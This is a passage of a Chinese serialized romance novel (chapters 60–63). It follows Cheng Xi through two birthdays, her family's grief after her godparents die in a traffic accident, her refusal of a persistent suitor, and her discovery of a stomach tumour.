倪父面色变得凝重:“我和你干妈年纪越来越大,说句不好听的,万一哪天生了重病或者出了意外,最放心不下的,就是你跟初初,还有妙妙,家里只有三个女人,怎么想都不放心,初初我们是劝不动了,就想劝劝你……” 程溪明白他担心什么:“现在是法治社会,您就放心吧!再说了,容今治安一直很好不是吗?哎呀干爸,您老让我别瞎操心妙妙,您自己不也总瞎操心我和初初?” 听她这么一说,倪父无奈地笑着,便不再多嘴了。 倪云初忙活一下午,做出三道硬菜,六个家常菜,可把她骄傲坏了,一个劲往程溪碗里夹菜,程溪嘴里塞得满满,抱着碗躲开,含糊不清笑道:“别给我夹了,都快堆成山了,我只有一张嘴!” 倪云初又打算给妙妙夹菜,妙妙反应敏捷,逃得比程溪还快,抱着碗躲到倪母身后:“倪老板别怪我,我不是不喜欢吃你做的菜,我只是挑事,平等地不喜欢吃很多种类的菜。” 这话逗得大人们发笑,一家子欢欢喜喜热热闹闹吃完饭,又尝了倪云初亲手做的水果蛋糕,程溪在欢声笑语中幸福得忘记了一切烦恼。 天色渐晚,倪母劝程溪留在这过夜,程溪不肯,倪母心知她是在躲宋言,知道她的难处,便没再多劝。 临走前,宋言“正巧”从房间出来,故作自然对说道:“不早了,路上不安全,我送你们回去。” 程溪看着他,心想,让你送兴许更不安全。她摇了摇头,什么也没说,牵着孩子往外走。 宋言疾步跟过去。 倪母也跟了过去,说道:“溪溪,今晚妙妙留在这儿睡吧,明天一早我和你干爸送她去学校,下午放学再接回来,吃完晚饭送她回你们那。你这阵子一个人又工作又带孩子,肯定累坏了,先歇一歇。” 程溪正要拒绝,倪母又抢在前头开口:“宋先生难得来一趟,你俩老朋友趁机多聊聊,有些事情聊开了,对彼此都好,省得以后宋先生老往这儿跑,来一趟不容易,怪浪费时间的。” 倪母这话说得半明半暗,程溪当即明白,她是想让自己和宋言彻底聊开,做个了断。 程溪想了片刻,点头应道:“那妙妙先麻烦您们了。” 说完,她摸了摸妙妙脑袋,叮嘱:“要听外公外婆的话哦!” 妙妙瞥一眼宋言,冲她点头:“放心。” 倪母领着妙妙回屋,大门外,程溪和宋言默不作声看着彼此,最后还是宋言开了口:“先去走走?” 程溪点头,迈开步子往前走。 宋言从外套兜里掏出一个小丝绒盒:“生日快乐。” 程溪没应声,也不接这礼物。 宋言自己打开盒子,递到她眼前:“宝格丽今年新出的限量款手链,看到第一眼就觉得很适合你。” 程溪瞥一眼,低头小声说道:“谢谢你,我不喜欢戴这些。” 她不领情,也不接礼,宋言并不生气,扣上盒盖,将盒子放回兜里,明知故问:“今年三十二了吧?” 程溪忽然停住脚步,扭头盯着他:“觉得我老了,没找着合适的,应该跟你凑合一下?” 宋言愣了愣,没想到她会误会。 “你别多心,我就是随口一问。” “宋先生,我记得你比我大一轮,今年得有四十四了吧?” “嗯。” “不好意思,你太老了,我不喜欢。” “……” 宋言默默看了她一小会儿,面上浮起淡笑,笑中几分无奈:“恐怕不是这个原因吧?” 程溪也看着他,犹豫片刻,心里话还是说出了口:“宋言,你不爱我,你只是把我当成那个人的影子。可我就是我,不是谁的影子,更不可能成为谁的替身。” 宋言:“如果我说,我发现自己爱的是你呢?” 程溪冰冷一笑:“怎么可能?这种鬼话,只能骗骗涉世未深的小姑娘。” 宋言低着头沉默。 良久,他抬眸看着程溪,目光和语气都极诚恳:“你相信吗?当初你和周衍东回京州以后,我诚心诚意祝福过你俩,就像在祝福平行世界里,年轻的我和她。” 第60章 三十三岁。 二零二零年八月二十六日, 程溪三十三岁了。 这一天,陪在她身边的,只有女儿和倪云初。 原本她并不打算过生日,但倪云初坚持要给她过, 程溪知道, 倪云舒心里难受得紧, 可他仍觉得今年过生日不妥,再三表示不愿意, 到了这一天,倪云初还是给她做了一碗面。 这次做的是干拌面, 没加汤,倪云初往面里加了个煎蛋, 煎蛋上用照烧汁,挤出一个笑脸,笑着对程溪说:“你看, 煎蛋在冲你笑呢!” 程溪看着倪云初强挤出来的笑容,不忍直视她那双红肿的眼睛, 低着头抿了抿唇, 一把将她抱进怀里,哽咽道:“初初, 其实你不用在我们面前强颜欢笑, 想哭就哭吧, 哭出来心里能好受点儿……” 倪云初僵硬地绷着身子, 强忍泪水,很快便撑不住了,哇的一声哭出来。 程溪紧紧抱住她,程妙瑾也靠过来, 抬手轻轻拍着她后背,小声开口: 倪云初在程溪怀里像个孩子似的哭了一小会儿,抬起头来,手背胡乱抹了抹眼泪:“好了,哭出来确实舒服多了。程溪,你快吃面,再不吃面都凉了。” 程溪松开怀抱,坐下来捧着碗,夹了大大一筷子面塞进嘴里,不住地点头,冲她竖起大拇指。 程溪心里其实也不好受,但还是努力笑着面对倪云初。 等程溪吃完面,倪云初从冰箱里拿出提前为她准备的冰淇淋蛋糕,点燃蜡烛让她许愿。 程溪闭上眼,许完愿,倪云初问她许了什么愿望,程溪不作声,倪云初一脸好奇,轻轻推着她:“说嘛说嘛!什么愿望是我和妙妙不能听的?” 程溪仍是不做声。 倪云初:“你不说那我自己猜。” 她正要开始猜,程溪忽然抬手捂住她的嘴:“别说!” 倪云初缩了缩脖子,满脸困惑:“干嘛呀?” 程溪垂眸,看着蛋糕上熄灭的蜡烛,声音很轻,很小:“说出来,就不灵了。” 倪云初不懂:“怎么就不灵了?” 程溪又陷入沉默,回想起前年,也就是三十一岁生日那天,自己许的愿望是——希望我们一家人健健康康,平平安安,开开心心,一辈子在一起。 她记得当时自己把这个愿望说了出来,而这个愿望,并没有成真。 两个月前,倪父倪母外出旅游,两人跟着旅行团乘坐的大巴与一辆超速行驶的大货车相撞,旅行大巴上的人死伤惨重,倪父倪母失血过多抢救无效,当场去世。 得知这个噩耗时,倪云初正在程溪家里看电视,接到警方打来的电话,她先是蓦地愣住,随机手中遥控器掉落在地。 程溪和倪云初当天赶到出事地,看见了倪父倪母的遗体。 倪云初受不了这么大的刺激,当场晕了过去,程溪抱着她崩溃大哭。 办完二老后事,倪云初情绪一直很平稳,程溪知道,其实她每分每秒都在极力克制,因为程溪自己也是。 倪父倪母待她如亲生女儿,给她的关怀与爱不比倪云初少,对妙妙更是好得不得了。 二老去世后,妙妙变得更加沉默寡言,有时候会在夜里偷偷流泪,程溪也会这样。 她知道,比起自己和妙妙,倪云初心里的难受,要多上千万倍,毕竟是亲生父母,生她养她,突遭意外撒手人寰,这种事,谁能平静接受? 程溪曾经是个没有家的人,倪父倪母用爱给了她一个新的家。 起初,程溪总是在夜里暗自流泪,怪他们撇下了她,可转念又想,他们在天上也不希望她总是以泪洗面吧? 她抹掉眼泪,深吸一口气,没有维持几秒,眼泪又倾泻而出。 这两个月,三人都过得浑浑噩噩。 “妙妙,冰淇淋蛋糕好吃吗?”倪云初沙哑的声音将程溪从思绪中拽回现实。 程妙瑾点了点头:“我口味很刁钻,但这个蛋糕味道真的不错,冰淇淋一点都不甜腻,蛋糕胚口感轻盈,淡淡的甘甜让人忍不住想吃第二口。” 倪云初笑道:“这么会形容,以后跟你妈妈一样去写小说吧!” 程妙瑾摇了摇头:“不要,我有自己的理想。” 程溪好奇:“你的理想是什么?” 程妙瑾食指放在嘴唇前:“暂且保密。” 倪云初噗嗤笑出声:“人小鬼大,讲话的调调这么成熟,难怪你外公总说——‘咱们妙妙内心住着一个六十岁的老灵魂!” 倪云初是笑着说这话的,刚说完,脸上的笑容便僵住。 她总是不经意提起父母,仿佛他们就在身边,从未走远,可又很快反应过来,其实他们早已离开。 倪云初的眼睛又红了几分,另外两人也不禁沉默。 这天夜里,程溪躺在床上,借着台灯昏暗的光,望着天花板,心想:或许离别的意义之一,就是让人明白,在拥有时要懂得珍惜。 可惜真正学会这个道理的时候,该珍惜的人、事、物,多半已经失去。 程溪十分庆幸,自己对倪父倪母始终尊敬而孝顺。 她想起倪云初那双难过的眼睛,明白让倪云初痛苦的,不仅仅是父母的离世,更是当他们在世时,自己没有充分敬孝,甚至绝大多数时候,都在嫌弃和逃避父母。 房间门被轻轻敲响,程溪起床去开门,见倪云初站在门口,双眼通红。 倪云初一看见程溪,便倒进她怀里,呜呜哭起来。 女儿在隔壁房间已经睡下,程溪怕吵醒她,将倪云初拉进屋,轻轻关上门。 “程溪,爸妈走后,我才终于明白‘子欲养而亲不待’这话的含义……我觉得爸爸妈妈生前最大的遗憾就是没有看到我结婚生子。我真不孝!要是我早点找个男人嫁了,早点生下孩子,让他们享受天伦之乐,那该多好……” 倪云初哭得上气不接下气,程溪轻拍着她的背,柔声说道:“初初,你搞错了,干爸干妈希望你结婚生子,根本目的是希望你幸福,如果结婚生子后的你不幸福,他们又怎么放心得下? “所以,千万别自责,更不要盲目冲动地随便找个人嫁了,如果你真干出这种事,干爸干妈的在天之灵一定无法安息!” 倪云初眼泪止不住,一边哭一边捶着自己胸口:“可是我觉得自己好没用……我就像个废物!活了这么多年,还是一个废物!一点长进也没有!小时候读书,成绩一般;毕业后不想去职场打拼,跑回家开民宿,生意不冷不热,没赚到什么大钱;就连结婚生子这种简单的事也做不到! “程溪,你说我是不是特没用?我纯纯就是个废物!” 程溪叹了口气,沉默着摇了摇头,捧起她满是泪痕的脸,心疼地为她拭去眼泪。 “亲爱的,你得知道,结婚生子可不是一件容易的事。光是在亿万人中找到一个既能跟自己看对眼,又能跟自己灵魂契合的对象,就是一件非常非常难的事情。 “生孩子就更难了。我自己生过,我知道这是去鬼门关上走一遭。如果你没做好成为母亲的准备,我的建议是:千万别轻易生育。 “还有,你哪里一事无成?你怎么会是废物?你把那只橘猫‘肥猪猪’养得那么好,她活了好久好久,在猫里算是承受老人了,你给她养老送终,多伟大呀! “你开的民宿干净卫生,住着非常舒适,院子里养得花草树木让人赏心悦目,你给游客们提供了性价比超高的临时住处,你真是个大好人! “你可爱善良热心肠,光明磊落又坦荡,你是我见过的最最可爱的姑娘!对了,你厨艺还特棒,做饭超好吃,怎么不算有出息呢? “我们女人存在的意义绝非成为别人的妻子、母亲,我们生而为人,能够遵循本心安然过好每一天,就已经足够尊敬生命本身,这便是我们存在的意义。 “你不是废物,你是干爸干妈最最疼爱的女儿,是我最最亲爱的姐妹,是妙妙最最喜欢的朋友。就算你什么也不做,你只是存在在这个世界上,于我们而言,就已经足够美好。 “明白了吗初初,你的存在便意味着美好,你就是美好本身。从现在起。再也不许说自己是废物,听到没有?” 倪云初紧紧抱住程溪,泪水浸透她衣衫。从小到大,自己因为外貌一直没有自信,直到程溪出现,不断地肯定她,鼓励她,才让她对自己多了几分信心。 她看着程溪,咬着牙,忍着泪水哽咽着问:“我很棒的,对不对?我没有让爸爸妈妈失望,对不对?” 程溪狠狠点头:“绝对没有。干爸干妈唠叨你的那些话,并不是真正嫌弃你,只是希望看到你幸福,更幸福……” 倪云初眼泪又决了堤:“我好想爸爸妈妈啊……我好想他们,他们怎么忍心就这么撇下我……” 程溪抱着她,喉咙发紧,颤抖着开口:“他们没有走,他们就在这儿,只是我们看不见。我们是人,人的局限太多,肉眼凡胎看不见的也太多。 60-63 第61章 三十四岁(1) 二零二一年八月二十六日, 程溪三十四岁了。 宋言一如既往在这天给她发来生日祝福,而她也一如既往没有回复。 去年倪父倪母过世后,宋言去了趟容今,把民宿那边的房退了, 倪云初告诉他, 不用亲自跑来办退房, 打个电话就行,可他还是过来了。 倪云初知道, 这人醉翁之意不在酒,特意多跑一趟, 不过是为了来看程溪。正巧,他来民宿那天程溪也在那儿, 他倒也没纠缠,规规矩矩看着她,她礼貌而疏离地打了声招呼, 他便笑着点头回应,不多话, 也没其他举动, 退了租便独自离开。 当时倪云初感慨:“其实宋先生也挺好,大老远跑过来只为了看你一眼!” 程溪轻笑:“他再好, 我俩也没有缘分。” 倪云初劝道:“人家等了你那么多年, 你也老大不小了, 要不就凑合过呗。” 程溪:“他爱等多久等多久, 跟我没关系。” 倪云初不理解:“程溪,你怎么这么有定力?要是一个男人等我这么些年,我早就感动得一塌糊涂了,更何况宋先生各方面条件都不差, 虽然四十多了吧,可颜值基础摆在那儿,保养得又好,看上去跟三十几岁似的。” 程溪:“感动和爱是两码事,我不会因为一个男人等了我很久就深受感动,即便真的感动了,也不可能跟他在一起,因为压根不爱他。另外,别说他等了我好些年,就算等一辈子也是白搭!” 倪云初“啧啧”摇头:“你呀,外表看着柔柔弱弱很好说话,其实原则性特强,心比谁都硬,决定好的事儿,九头牛都拉不回。” 转眼到了今年。 程溪生日这天,倪云初调侃:“宋先生退租退早了,去年就退,今年都找不到由头过来看你。” 程溪给她一记眼刀,她缩缩脖子,屁颠屁颠去厨房,从冰箱里拿了瓶可乐,回来冲程溪晃了晃瓶子。 “容我再多一句嘴,有时候还是得趁缘分在,抓紧谈恋爱。缘分搁那儿放久了,你不搭理,等哪天回过头又想跟人处一处,这感情可能就跟没了气儿的可乐一样,味道变了,没劲了。” 程溪懂她意思,低头盯着书,眼皮都没抬一下:“我这单身女人的生活就跟可乐似的,气泡丰富,味道爽劲,要是没气儿了,我就自个儿晃一晃——天南地北到处旅游,再不济,窝在家里追剧,也比找个男人谈恋爱强。” 倪云初做了个鬼脸:“我就多余唠叨!单着吧,单着挺好,咱俩带着妙妙红尘作伴,潇潇洒洒,也不失为一种美好生活。” 程溪这才从书上移开目光,看向她,笑着打了个响指:“对喽!很多人觉得女人没了男人不行,其实没有男人在身边,女人过得不要太自在。” 出乎她俩意料的是,今年的这一天,宋言又来了容今。 这天傍晚,宋言出现在程溪家门口,倪云初听见门铃声,过去看了看猫眼,立马迈着小碎步跑到程溪跟前,压低声音说:“宋先生!” 程溪正在厨房整理洗干净的碗筷,听她这么一说,眉心忽皱。 外面的人又按了按门铃。 倪云初:“你要不想见他就别吱声,假装不在家,过会儿他就走了。” 程溪将手洗净,犹豫片刻,还是往玄关走去。 她打开门,看着外面的男人,面上波澜不惊。 “宋先生特意赶来,就为了当面祝我生日快乐,是吗?” 宋言淡然一笑:“你要是不愿意分给我点儿时间,跟我多聊聊,就这么看看你也挺好。每年这一天不见你一面,还真有些不习惯。” 程溪扭头,对站在一旁看热闹的倪云初说:“等会儿妙妙写完作业,你让她早点睡,我出去一趟。” 倪云初八卦的眼神在程溪和宋言之间来回跳转,似笑非笑点了点头,应道:“放心去吧,我在家看孩子。” 程溪换好鞋,刚一出门倪云初就赶紧把门关上,像是恨不得她今晚都别回来。 宋言有些意外,看着程溪淡笑:“你出门不会是想陪我吧?” 程溪耸了耸肩:“‘陪’这个字用得不准确,确切来说,是想采访一下你。” 宋言剑眉微扬:“采访?程大作家开始对金融方面感兴趣了吗?” 程溪摇头:“不,我就是个写烂俗言情小说的,对金融毫无兴趣,倒是很好奇宋先生的私生活。” 宋言:“恐怕程小姐要失望了,我的私生活一直干净得很。” 程溪满脸不信:“离婚这么多年,一个女朋友都没谈过?” 宋言摇摇头,目光坦诚:“没有。” 他看着程溪的眼睛,又补了一句:“骗你是狗。” 程溪半信半疑,低头默默下楼,途中,思绪回到三年前。 三年前的这天,她和宋言坐在街边长椅上,听着他讲述那个自己好奇已久的秘密。 那会儿宋言问她知不知道为什么他会和家里闹掰,她摇了摇头,宋言轻声一笑,说道:“当年我离家出走,是为了一个姑娘。” 他淡着脸目视前方,娓娓道来。 “跟很多爱情故事一样,我为了她不惜与家族反抗,她在南方,我就只身前往南方,原本我们已经分手,她觉得不跟我在一起就是为我好,在一起,是拖累我。 “那时候我太爱了,当然不会这么想。等我来到南方,她被我的诚意打动,也觉得这辈子没法离开我,我们又重归于好。可惜幸福日子不长,我被家里断了经济来源,也断了所有找到好工作的机会。 “说起来很巧,我和周衍东一样,也做过一段时间小本买卖,很快赚到一点钱。我跟那姑娘非常开心,每天憧憬着以后衣食无忧的幸福生活。 “后来我家里人找上我,说同意我们在一起,但前提是,不能结婚。我父亲还让我回京州去,我没同意,因为那姑娘不愿意回去。我便留在了广城,靠着家里的人脉和资金做起了家族老本行,很快混得风生水起。 “然而,事业越来越好,钱赚得越来越多,却没有使我和她的关系越来越稳固。很长一段时间,我每天都是凌晨才回家,她总是在客厅等我,有时候醒着,有时候睡着了。 “深夜我回到家,看见她躺在沙发上,会把她抱回卧室,一遍一遍道歉,跟她说‘对不起,又回来晚了’……起初我心里是真愧疚,日子长了,就习以为然了,道歉变得敷衍,也不再真心心疼她的付出和等待,只觉得,这些都是理所当然。 “直到她跟我提分手,我才幡然醒悟,原来她一直都在忍,也一直都在等,等着忍无可忍那一天,鼓起勇气跟我说再见。 “她跟我断得很彻底,没带走我给她买的任何东西,从我们同居的地方搬出去后,还换了手机号。我用了些法子查到她新手机号,找到她住址,纠缠了一阵儿,结果你也看到了——就是没有结果。” 程溪默默听完,问:“她家里很穷,对吗?” 宋言点头:“对,我俩的家庭环境可以说一个天上一个地下。” 程溪:“她性子倔,很有骨气?” 宋言:“是的,我觉得你俩很像,不仅如此,就连相貌和气质也有几分相似。” 程溪:“果然我猜得没错,你只是拿我当代替品罢了。错过了最爱的灰姑娘,便想在另一个灰姑娘身上找补回来。” 宋言扯了扯唇角,笑容复杂:“坦白说,刚认识你那会儿,我确实是这样想的。到后来,慢慢发现她是她,你是你。我爱过她,但也无法自控地爱上了你。” 程溪好奇: 宋言含笑的眼睛里浮现忧伤。 他摇了摇头,轻声开口:“没有机会了。” 程溪:“不试试怎么知道没机会?” 宋言望着前方,默不作声。 程溪问:“你害怕被拒绝,对吗?” 宋言摇头。 程溪不理解:“那为什么没再去找她?” 宋言:“找不到了。” 程溪:“还有你找不着的人?她换了手机号,换了住处你都能找到,我你不也找到了?” 宋言转脸看着她,扬了扬唇角,笑里尽是苦涩:“如果她还活着,自然是能找到的。” 程溪忽地愣住,睁大眼睛看着他,难以置信:“她……她已经去世了?” 宋言淡淡点头。 程溪心里倍感唏嘘,沉默一小会儿,轻声问:“方便告诉我她是怎么去世的吗?” 宋言挪开目光,语气平静:“车祸。那天晚上,我求她出来见一面,说见完这面,我把心里想说的话说清楚,以后再也不会纠缠她,她答应了。 “我开车过来找她的途中,路上堵车,她在楼下一直等我,被一辆失控的汽车撞飞,肇事车主酒驾,开车时醉得不轻。 “很长一段时间,我一直活在懊悔和自责中。我想,要不是我那通电话,要不是我那个多此一举的请求,她就不会死;甚至,要不是因为认识我,跟我谈了场恋爱,她就不会死…… “我总觉得,自己才是害死她的罪魁祸首。” 夜风微凉,程溪从楼道出来,仰头望着天空,深吸一口气,从回忆中抽离。 宋言走在她身旁,问:“那边有家咖啡店,要去坐坐吗?” 程溪摇头:“你开车来的?” 宋言:“嗯,我在容金买了套房——离你家,顺便又买了辆车。” 程溪轻笑:“有钱真好。” 宋言也笑了,目光无奈:“可惜再有钱,不得你心,也没招儿。” 程溪没接这话茬,转脸看着别处:“去你车上聊。” 第62章 三十四岁(2) 打开副驾车门, 程溪坐进去,扭头看着驾驶位上的宋言,面色冷淡:“别误会,我坐这儿不代表答应了当你女朋友, 只是这里方便聊天一点。” 宋言勾了勾唇角, 笑得有些心酸:“我知道自己这辈子都没机会了。” 程溪:“知道就好。” 宋言又笑了笑, 无奈摇着头:“一定要这么直接?还挺伤人的。” 程溪:“总比违心跟你纠缠暧昧,最后才说不适合来得强。总归都是一场空, 就不让你空欢喜了。” 宋言轻声笑道:“我谢谢您。” 程溪愣了愣,看着他, 欲言又止。 宋言:“想说什么?” 程溪转过脸来,看向窗外, 声音小了许多:“你刚刚说那话的腔调,跟周衍东特别像。” 宋言:“京腔呗,我俩都是京州人。” 程溪没接茬。 宋言等了一会儿, 见她不开口,不禁问道:“想他了?” 程溪摇了摇头。 宋言:“那怎么不说话?” 程溪:“没什么好说的。” 宋言:“你就一点儿不好奇这些年他发生了什么, 过得怎么样?” 程溪盯着窗外, 语气平淡如水:“早就与我无关了。” 宋言:“其实这么些年,他一直单着。当然了, 明面上是再没谈过女朋友, 私底下什么情况我也不清楚, 毕竟没躲在人床底下偷听。” 程溪含着一丝不耐烦开口:“不用告诉我这些, 我没兴趣。” 宋言刨根问底:“是真没兴趣,还是不敢面对?” 程溪有些火了,忽地扭头,蹙眉瞪着他:“再说我立马就走。” 宋言赶忙道歉:“不好意思, 咱们换个话题。” 他的手似是不经意搭在了程溪胳膊上,程溪身子往车窗靠,挪开胳膊不让他碰。 他淡淡笑了笑,收回手,目视前方:“你边界感还是这么强。” 程溪:“谢谢夸奖,暧昧不清不是我的风格。” 宋言沉默一小会儿,转脸看着她,目光好奇:“一个人带着孩子过这么些年,从没想过给她找个爸爸?” 程溪声音很轻:“不需要,我给了她全部的爱,这就足够了。” 宋言在她语气中听出了心虚:“无论父爱还是母爱,都只能由父母本人付出,对孩子来说才算公平,孩子的人生也才会更圆满。” 程溪摇了摇头,苦笑:“还有那么多圆满的人生?每个人都只能在不圆满中尽量重新养育自己,努力往圆满靠拢。谁都有遗憾,我有,妙妙有,你不也有?” 宋言不作声了。 见他久不言语,程溪心想,怕是刚才那话戳到了他的痛处。 程溪心一软,便安慰道:“这么多年过去了,其实你不必再自责。生死有命,那场意外是命中注定。” 宋言轻轻点头:“我知道。只是道理谁都清楚,但真正放得下,过得了自己这一关的人很少,就像——” 他停住,似乎有什么顾虑,不再往下说。 程溪催问:“就像什么?” 他小心翼翼开口:“不敢说了,怕你生气。” 程溪:“说呗,没关系。” 宋言沉默片刻,扭头看着她:“就像这些年,周衍东一直过得不开心,没日没夜工作,跟个机器人似的,他心里一定是对你满怀愧疚吧。他不会不知道,两个人走不到最后,一定不全是某个人的原因,其实你俩都没错。但他这些么些年,一直让自己活在内疚中,走不出来。” 听完这番话,程溪许久不作声,默默看着窗外。好半天才开口:“那是他的选择,我无权干涉。” 宋言:“我一直很好奇,这些年你真的放下他了吗?你们那些事儿我听说过,在妙妙之前,你怀过一次,那孩子没能顺利生下来,为什么?” 程溪冷笑:“其实你什么都知道,何必来问我?” 宋言一声叹息,语气愧疚:“抱歉,勾起你伤心事了。” 程溪:“其实我也特别好奇,为什么你那么好奇我这些年有没有放下周衍东?” 宋言笑了,坦白道:“因为内心总是抱有一丝侥幸心理,总觉得,等你彻彻底底放下他了,就能安安心心接受我。” 程溪斩钉截铁开口:“那您真是想多了。” 宋言点头:“谢谢你的坦诚。” 程溪深吸一口气,说道:“为了避免你再问起这个问题,现在我来好好回答一下。坦白讲,我曾经以为,有些人有些事自己想放下就能放下,随着时间的流逝,事实证明,我把自己想的过于强大。 “认为自己可以随意忘却某些人和事,这是一种天真且自恋的想法。听到这你应该能明白,这么多年来,直到现在,我都没有真正放下过,但放不下,不意味着还在爱。 “忘不掉也放不下,是因为这段感情太过深刻,与爱无关。我经常会写日记,有时写‘我已经放下了’,有时又写‘怎么又想起了他’,我与这种矛盾对抗了很久很久,一度被折磨的心力憔悴。 “有一天,我忽然放弃了与它对抗,我告诉自己,忘不掉也没什么大不了;放不下,并不是什么可耻的事。谁这辈子没有过一个深深爱过却无法陪伴到老的人? “周衍东不是我人生的污点,不是我命运中的绊脚石,于我而言,他曾经是幸福的代名词,是我青春的重头戏……而我们这段爱情。是我在人世间痛快活过一场的证据。 “我不爱他了,也不恨他,在每一个平淡的日子里,我安心过着。属于自己的平淡生活。想起他来,心情好就笑一笑,心情坏就撇撇嘴。 “你可以把这定义为还在爱,我也不想过多自证。总之,我从没后悔过离开他。” 程溪打开车门,下车后冲宋言咧嘴一笑:“今天就聊到这吧,再见,宋先生。” 宋言对着她背影扬声问:“明年这一天,还能来看你吗?” 程溪回头,淡笑: 她挥挥手,转身迈开脚步往前走。 宋言在这个三十四岁女人的背影中,看到了某种独一无二的潇洒。 来年年初,程妙瑾放寒假,程溪带着她去省内严寒地区旅游。 日照雪山,景色苍茫而震撼,程妙瑾沉浸在美景中,不住感慨:“好美啊!太美了……” 良久,她终于舍得将目光看向母亲,笑着说:“我好喜欢雪呀,妈妈,真羡慕你,以前在京州待过,那儿的冬天一直像是白雪世界吧?” 程溪笑了笑:“等你长大了,可以自己去京州玩儿呀。” 程妙瑾问:“为什么要等长大再去,明年就去好不好?” 程溪眼神暗了暗,沉默片刻,回答得敷衍:“明年的事儿明年再说。” 程妙瑾撅着嘴,满脸不高兴:“等到明年,你又有这理由那理由不肯去了,现在只不过是在敷衍我!” 程溪叹一口气,心想,孩子太聪明也不好,总叫她这个做母亲的下不来台。 见她不作声,程妙瑾难得撒娇:“妈妈,你就带我去一趟京州吧!我好想去故宫看雪景,落雪的深宫,那意境肯定可美了,我保证,回来一定写一篇超棒的优秀作文!” 程溪脸色忽地黯淡,程妙瑾以为母亲觉得自己任性,不由得撇嘴:“你在京州待了这么久,下雪天肯定去故宫玩过,我还从来没去过呢!就连这么一个小小的要求都不能满足我吗?” 程溪看着女儿,双眼迅速蓄满了泪,眼眶泛红。 程妙瑾被母亲突如其来的眼泪吓到,犹豫一会儿,轻轻抱住母亲,乖巧说道:“对不起妈妈……我不任性了,一切都听你安排,你想带我去哪就去哪。我知道,你总是竭尽全力给我最好的,我不能老苛求你……妈妈,你别快哭啦!” 程溪吸吸鼻子,一眨眼,泪水奔泻而出。 她紧紧抱住怀中的女儿,不住摇头:“妙妙对不起,是妈妈没有控制好情绪,不关你的事……你一直都很懂事,你不任性,只是妈妈并不是特别喜欢京州,所以不想回去。不过,既然你那么想去,下一个寒假。妈妈那一定带你去那玩一趟……” 孩子眉飞色舞:“真的吗?!” 程溪点点头:“当然,妈妈什么时候骗过你?” 程妙瑾高兴得手舞足蹈。 她平时跟个小大人似的,冷静稳重,旁人难得见她开心成这样。 程溪看着女儿脸上灿烂的笑容,心想,这才是孩子该有的模样。 或许宋言得对,缺少父母任何一方的爱,对一个孩子而言,都是莫大的遗憾。 周衍东从没带自己去看过下雪的故宫,程溪始终无法释怀这件事,但孩子是无辜的,她想,如果因为自己的心结而刻意掐灭孩子的愿望,这何尝不是一种自私? 旅行结束,回家的途中,程溪在高铁上想起往事。 她曾经独自逛过下雪的故宫,请别人替自己拍了一张照片,还在那张照片背后写满了字。 离开京州前,她把照片留在梳妆台的抽屉里。 这么些年,周衍东应该早就看过了吧。他会有什么感想? 内疚?后悔?或者只是有那么一点点难过,然后继续投身于忙碌的工作? 程溪不知道。 她望着高铁外飞速而过的景色,心想,时光也如这般快速流淌啊。 有些事,她永远也无法遗忘。 周衍东或许也是如此,她想。 二月底,程妙瑾开学,程溪将女儿送去学校,回家途中买了一兜子菜。 走进楼道,她正要爬楼,上腹忽然传来剧痛,塑料袋从手中滑落。 程溪大半个身子靠在墙上,汗如雨下,面色煞白如纸。 第63章 三十四岁(3) 程溪大半个身子靠着墙, 但依然支撑不住身体,几乎倒下的那一刻,一个有力的怀抱将她接住了。 她痛到头晕眼花,在模糊的视线中, 看见抱住自己的男人的脸。 将她接住的是一位外卖员。 这天上午, 张进拎着餐食急匆匆跑进楼道, 正要上楼送餐,就看见了程溪差点摔倒的那一幕。 张进本能地扔掉手中餐食, 飞快冲过去接住程溪。 他问程溪怎么了,程溪疼得说不出话, 他想打电话叫救护车,又想起这里离医院不远, 便打横抱起程溪,跑出去拦下一辆出租车。 将程溪送去医院急救室,张进临走前被程溪抓住胳膊不让走。 程溪额上尽是细细密密的汗珠, 艰难地开口,说道:“谢谢你, 麻烦留一下手机号, 回头转给你挂号费……” 张进摇了摇头:“不用了,救人一命胜造七级浮屠, 我还得回去送餐。希望你没事, 再见!” 程溪死死抓着他衣袖不肯撒手:“耽误你那么久, 还没赔给你误工费……拜托留一下联系方式……” 张进拗不过她, 叹了口气,见她疼成这样也不忘对自己表达感谢,心想,真是个善良的女人。 他从程溪的包里找出她的手机, 保存下自己手机号码才离开。 当天下午,张进微信收到一条好友申请,因为工作原因,他平时微信没少加人,看见这条申请,没多想便直接通过。 很快,对方发来三个红包和一句话。 【感谢你上午的帮助,真是不好意思,耽误你工作了……】 张进一看便知道对方是谁,立马回复:【你的感谢我收下,红包就不用了。检查结果怎么样,身体舒服些了吗?】 对方回道:【不疼了,身体还需要再进一步检查。红包收下吧,不然我于心不安。】 张进今天因为送她去医院,确实耽误了工作,还遭到了投诉,见她坚持要给,也没再矫情,点开收下了红包。 每个红包两百元,总共六百,张进始终觉得,助人为乐是应该的,她给这么多,自己反倒不好意思了。 张进:【结果出来能跟我说一声吗?说实话,你当时那样子确实吓到我了。希望你身体健康!】 对方简单了两个字:【谢谢!】 张进收起手机骑车开往下一个目的地。 路上他回想起她当时疼的那模样,手捂着上腹,面色惨白,不禁联想到父亲去世前几个月的样子。 自打开始送外卖,他见过很多人,也帮过很多人,像她这样知恩图报的人却不多。 他真心希望这位自己上午救过的女人平安健康。 她想,也许母亲工作上遇到了什么麻烦,又或者写的小说被骂了。 回到家,她从书包里拿出三本册子,对母亲说:“我中午在学校没午睡,去学校旁边的书店买了三本习题册,语数外三科,你看,每本都做了五页,全是课间做的。” 她想让母亲夸夸自己。 搁以前,母亲肯定会满脸都是自豪的笑,捏捏她的脸,说:“谁的女儿这么棒呀?原来是我程溪的女儿呀!” 然而今天,母亲只是扯了扯唇角,夸得极其敷衍,短短四个字——“妙妙真棒。” 程妙瑾有些难过,盯着母亲问:“妈妈,你今天怎么了?” 程溪摇摇头:“没事,就是有点累。今天没买菜,也懒得做晚饭了,你自己下去吃米线吧。” 程妙瑾:“你不吃吗?” 程溪:“我不饿,想先睡会儿,你吃完回来自己写作业。我要是睡着了,就别叫我。” 程妙瑾见她脸色不太好,放心不下:“你昨晚又熬夜码字了?” 其实程溪昨晚睡得很早,但她不想女儿刨根问底,便点了点头:“嗯,睡得太晚,年纪大了,身体熬不住,我先去补觉了。” 她转身走进自己卧室。 程妙瑾看着关上的房门,没多想,自己下楼找地方吃晚饭。 房间里,程溪静静躺在床上,半睁着眼望着天花板,回想起医生告诉她的那些话。 和血常规等项目,拿到结果后,医生让她再去做个超声内镜。 超声内镜结果出来得快,医生表情凝重,告诉她,她的胃部有个肿瘤,至于肿瘤是良性还是恶性,得做进一步检查。 